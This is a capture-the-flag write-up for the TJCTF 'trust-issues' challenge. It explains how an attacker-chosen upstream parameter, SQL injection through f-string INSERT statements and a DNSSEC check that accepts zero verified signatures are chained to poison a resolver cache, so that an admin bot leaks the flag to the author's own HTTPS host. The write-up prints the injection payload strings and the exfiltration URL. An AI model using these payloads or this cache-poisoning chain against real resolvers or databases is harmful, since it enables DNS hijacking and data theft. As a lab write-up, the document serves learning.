$ cat writeup.md…
$ cat writeup.md…
tjctf
Task: a custom DNSSEC resolver and admin bot had to be abused to redirect trust-issues.tjc.tf to an attacker host. Solution: poison the resolver cache through the upstream parameter and SQL injection, then bypass DNSSEC verification with a skipped fake RRSIG and capture the flag from the bot URL.
This challenge looked cryptographic at first: the bundled nameserver used custom ECDSA signing on P-521 with algorithm 17, and the obvious first idea was to attack nonce generation. That path was a dead end for us.
The real solution was a web/logic chain in the DNS resolver. By poisoning its cache and exploiting a DNSSEC verification flaw, we made the admin bot resolve trust-issues.tjc.tf to our own HTTPS host and leak the flag in the URL.
Final captured flag:
tjctf{REDACTED}
Relevant files from trust-issues.zip:
admin-bot.jsdnsresolver/app.pydnsresolver/dnssec.pywebsite/app.pywebsite/templates/index.htmlnameserver/app.pyadmin-bot.js is the key to the whole challenge:
urlRegex: /^https:\/\/dnsresolver-[a-f0-9]*\.tjc\.tf\//, const response = await fetch(url + '?name=trust-issues.tjc.tf&type=A'); const json = await response.json(); const data = json.data; await page.goto('https://' + data + '?flag=' + flag, ...);
So the bot does three things:
dnsresolver-*.tjc.tf URL.?name=trust-issues.tjc.tf&type=A.json.data and browses to https://<data>?flag=<flag>.That means we do not need XSS, cookie theft, or browser tricks. If we can make the resolver return our hostname, the bot sends us the flag directly.
website/app.py and website/templates/index.html show that the site simply renders request.args.get("flag"):
return render_template('index.html', flag=request.args.get('flag', None))
and:
<p>{{ flag }}</p>
So the flag is intentionally transported via the URL parameter. Once the bot is redirected to our host, the flag arrives in the request line as:
https://our-host/?flag=tjctf{...}
nameserver/app.py signs DNSSEC records with algorithm 17 on P-521 and uses:
k = secrets.randbits(512)
for ECDSA nonces. That is suspicious because the curve order is 521 bits, so an HNP/lattice attack looks tempting.
We spent time checking that angle, but the final solve did not require key recovery. The intended practical exploit was entirely in the resolver implementation.
In dnsresolver/app.py:
globals()["UPSTREAM"] = request.args.get("upstream", "https://8.8.8.8/resolve")
So anyone can force the resolver to query an arbitrary upstream DoH-style endpoint.
Records from the upstream JSON response are inserted into SQLite with raw f-strings:
cursor.execute(f"INSERT INTO records VALUES ('{record['name']}', {record['type']}, {record['TTL']}, {expires}, '{record['data']}')")
and:
cursor.execute(f"INSERT INTO rrsigs VALUES ('{record['name']}', {rrtype}, {int(parts[1])}, {int(parts[2])}, {int(parts[3])}, {int(parts[5])}, {int(parts[4])}, {int(parts[6])}, '{parts[7]}', '{parts[8]}', {expires})")
Because record['name'] and record['data'] come from attacker-controlled upstream JSON, we can inject additional rows into the resolver cache.
The most important bug is in verify_cached_rrset():
for sig_row in rrsigs: rrsig = parse_rrsig(sig_row) signing_key = find_signing_key(rrsig, dnskeys) if not signing_key: continue valid = verify_rrset(rrset, rrsig, signing_key["public_key_b64"]) if not valid: return False return True
If every cached RRSIG is skipped because find_signing_key() cannot match its keytag/algorithm pair to any DNSKEY, the loop finishes and the function still returns True.
So a cache entry can pass “validation” with zero successfully verified signatures.
We chained the bugs like this:
upstream parameter to make it query our malicious upstream server.trust-issues.tjc.tf.:
A record pointing to ctf-server-wrkt.krbot.ruDS record so DNSKEY validation still succeedsRRSIG row with a bogus keytag so signature verification is skipped?flag=tjctf{REDACTED}.The instance that finally worked was:
https://dnsresolver-9085aee3e153b17e.tjc.tf/
This mattered because legitimate trust-issues.tjc.tf. answers were cached with TTL 300. We wanted a fresh instance so we could control the cache state and then wait for real rows to expire.
We controlled:
ctf-server-wrkt.krbot.ru81.31.246.130The same server did two jobs:
/resolve as the malicious upstream endpoint for the vulnerable resolver;/ over valid HTTPS to receive the bot request with ?flag=....Using a valid certificate was necessary because the bot opens https:// + returned hostname.
Our malicious /resolve response injected cache rows. The final payload logic looked like this:
rec_inject = ( "x', 1, 0, 0, 'x'), " "('trust-issues.tjc.tf.', 1, 999999, 9999999999, 'ctf-server-wrkt.krbot.ru'), " "('trust-issues.tjc.tf.', 43, 999999, 9999999999, " "'23904 17 2 00FD0C11FB05F834ED8899546ABB2D657AAD7A1CEC0FEBB3BE157EF8272B254F'), " "('trust-issues.tjc.tf." ) rrsig_inject = ( "x', 1, 17, 3, 300, 0, 9999999999, 99999, " "'trust-issues.tjc.tf.', 'AAAA', 9999999999), " "('trust-issues.tjc.tf." )
This created poisoned rows for:
A trust-issues.tjc.tf. -> ctf-server-wrkt.krbot.ruDS trust-issues.tjc.tf. -> 23904 17 2 00FD0C11FB05F834ED8899546ABB2D657AAD7A1CEC0FEBB3BE157EF8272B254FRRSIG with bogus keytag 99999The fake DS row was important because validate_dnskeys() still checks that the cached DNSKEY set matches a cached DS record.
When the resolver later validated the poisoned A RRset, it loaded cached DNSKEY records for trust-issues.tjc.tf. and tried to match them against cached RRSIG rows.
Our fake RRSIG used a bogus keytag, so find_signing_key() returned None. Instead of failing, the code simply did continue. If all signatures are skipped like that, verify_cached_rrset() returns True.
That let the fake A record survive DNSSEC validation without any real signature check.
The authoritative nameserver used TTL 300 for real records. In practice, the clean solution was:
Without this timing step, the resolver could still return the legitimate IP.
Once the cache was in the right state, the bot performed its normal flow:
fetch("https://dnsresolver-9085aee3e153b17e.tjc.tf/?name=trust-issues.tjc.tf&type=A")json.datahttps://ctf-server-wrkt.krbot.ru/?flag=tjctf{REDACTED}Our HTTPS server logged the incoming request and exposed the flag directly.
The final exfiltration request was:
https://ctf-server-wrkt.krbot.ru/?flag=tjctf{REDACTED}
That confirmed the whole chain worked end-to-end:
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar